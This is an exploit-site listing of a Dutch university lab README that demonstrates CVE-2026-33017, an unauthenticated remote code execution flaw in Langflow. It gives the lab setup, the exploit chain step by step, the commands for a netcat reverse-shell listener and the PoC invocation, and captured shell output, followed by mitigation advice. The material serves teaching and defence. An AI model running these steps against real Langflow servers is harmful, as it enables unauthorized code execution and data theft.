Sploitus

Exploit for Code Injection in Langflow

githubexploit Β· 2026-04-20

Exploit Code

README144 lines
## https://sploitus.com/exploit?id=1E57CC49-6204-522D-BE1D-CEE245D25E2B
# CVE-2026-33017 β€” Langflow Unauthenticated RCE

> **HoGent CyberSecurity II β€” Netwerk Pentesting & Exploitatie (NPE)**  
> Academiejaar 2025–2026

[![CVE](https://img.shields.io/badge/CVE-2026--33017-critical?color=red)](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
[![CVSS](https://img.shields.io/badge/CVSS%20v4.0-9.3%20Kritiek-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
[![Langflow](https://img.shields.io/badge/Langflow-%E2%89%A41.8.1-orange)](https://github.com/langflow-ai/langflow)

---

## Overzicht

Deze repository bevat een volledige lab-omgeving en exploitatie-demonstratie van **CVE-2026-33017**, een kritieke unauthenticated Remote Code Execution (RCE) kwetsbaarheid in **Langflow ≀ 1.8.1**.

Een aanvaller zonder enige authenticatie kan willekeurige Python-code uitvoeren op de server via het `/api/v1/build_public_tmp/{flow_id}/flow` endpoint, doordat gebruikersinput rechtstreeks aan Python's `exec()` wordt doorgegeven zonder sandboxing of validatie.

> ⚠️ **Disclaimer:** Deze repository is uitsluitend bedoeld voor educatieve doeleinden in een gecontroleerde lab-omgeving. Gebruik uitsluitend op systemen waarvoor je expliciete toestemming hebt.

---

## Architectuur
```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   HOST MACHINE                      β”‚
β”‚                                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚  Langflow-Victim β”‚     β”‚    Kali-Attacker      β”‚ β”‚
β”‚  β”‚  Ubuntu 22.04    β”‚     β”‚    Kali Linux         β”‚ β”‚
β”‚  β”‚  192.168.56.101  │◄────│    192.168.56.100     β”‚ β”‚
β”‚  β”‚  Langflow 1.8.1  β”‚     β”‚    PoC exploit tool   β”‚ β”‚
β”‚  β”‚  port 7860       β”‚     β”‚    + internet (NAT)   β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚          Host-only netwerk: 192.168.56.0/24         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```
## Repository structuur
```
CVE-2026-33017/
β”œβ”€β”€ README.md # Dit bestand
β”œβ”€β”€ LICENSE
β”œβ”€β”€ .gitignore
β”œβ”€β”€ docs/
β”‚ └── stappenplan.md # Volledige deployment & aanvalsgids
└── scripts/
β”œβ”€β”€ setup_vms.sh # Fase 1: VirtualBox VMs aanmaken (HOST)
β”œβ”€β”€ setup_victim.sh # Fase 2: Langflow 1.8.1 installeren (Ubuntu VM)
└── setup_attacker.sh # Fase 3: PoC tool installeren (Kali VM)
```
---

## Snelstart

### Vereisten
- VirtualBox 7.x met `VBoxManage` in PATH
- `Ubuntu_22.04-VB-64bit.vdi` β†’ hernoem naar `ubuntu-22.04.vdi`
- `Kali_Linux-VB-64bit.vdi` β†’ hernoem naar `kali-linux.vdi`
- Beide VDI-bestanden in dezelfde map als `setup_vms.sh`

### Fase 1 β€” VMs aanmaken (op de host)
```bash
bash scripts/setup_vms.sh
```

### Fase 2 β€” Victim VM configureren (op Ubuntu VM)
```bash
# Inloggegevens: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
```

### Fase 3 β€” Attacker VM configureren (op Kali VM)
```bash
# Inloggegevens: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
```

### Aanval uitvoeren

**Terminal 1 β€” Reverse shell listener:**
```bash
nc -lvnp 4444
```

**Terminal 2 β€” Exploit:**
```bash
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
  --lhost 192.168.56.100 --lport 4444
```

> De PoC wordt automatisch geΓ―nstalleerd door `setup_attacker.sh`.  
> Gebruikte PoC: [omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC](https://github.com/omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC)

---

## Hoe de exploit werkt

| Stap | Endpoint | Beschrijving |
|------|----------|--------------|
| 1 | `GET /api/v1/auto_login` | Haalt superuser JWT-token op (`AUTO_LOGIN=true`) |
| 2 | `POST /api/v1/flows/` | Maakt nieuwe publieke flow aan via API |
| 3 | `POST /api/v1/build_public_tmp/{id}/flow` | Injecteert `CustomComponent` met kwaadaardige Python-code |
| 4 | `exec()` in `validate.py:397` | Code wordt uitgevoerd zonder sandboxing β€” **RCE** |

---

## Bewijs van uitvoering
[*] Fetching access token...
[+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff
[*] Sending reverse shell to connect back to 192.168.56.100:4444

Listener (Terminal 1):
connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160
$ whoami
user
$ hostname
e37190a2f147
$ find /app -name "*.db"
/app/.venv/lib/python3.12/site-packages/langflow/langflow.db

---

## Mitigatie

- **Update naar Langflow β‰₯ 1.9.0** β€” verwijdert de kwetsbare `data` parameter
- Schakel `LANGFLOW_AUTO_LOGIN` uit in productie
- Beperk netwerktoegang tot poort 7860 via firewall
- Plaats Langflow achter een authenticerende reverse proxy

---

## Referenties

- [NVD β€” CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [GitHub Advisory GHSA-vwmf-pq79-vjvx](https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx)
- [Sysdig β€” Exploited in 20 hours](https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours)
- [SonicWall β€” Technical Analysis](https://www.sonicwall.com/blog/langflow-ai-code-injection-to-rce-flaw)
- [PoC door omer-efe-curkus](https://github.com/omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC)

---

*HoGent β€” Toegepaste Informatica β€” CyberSecurity II β€” 2025–2026*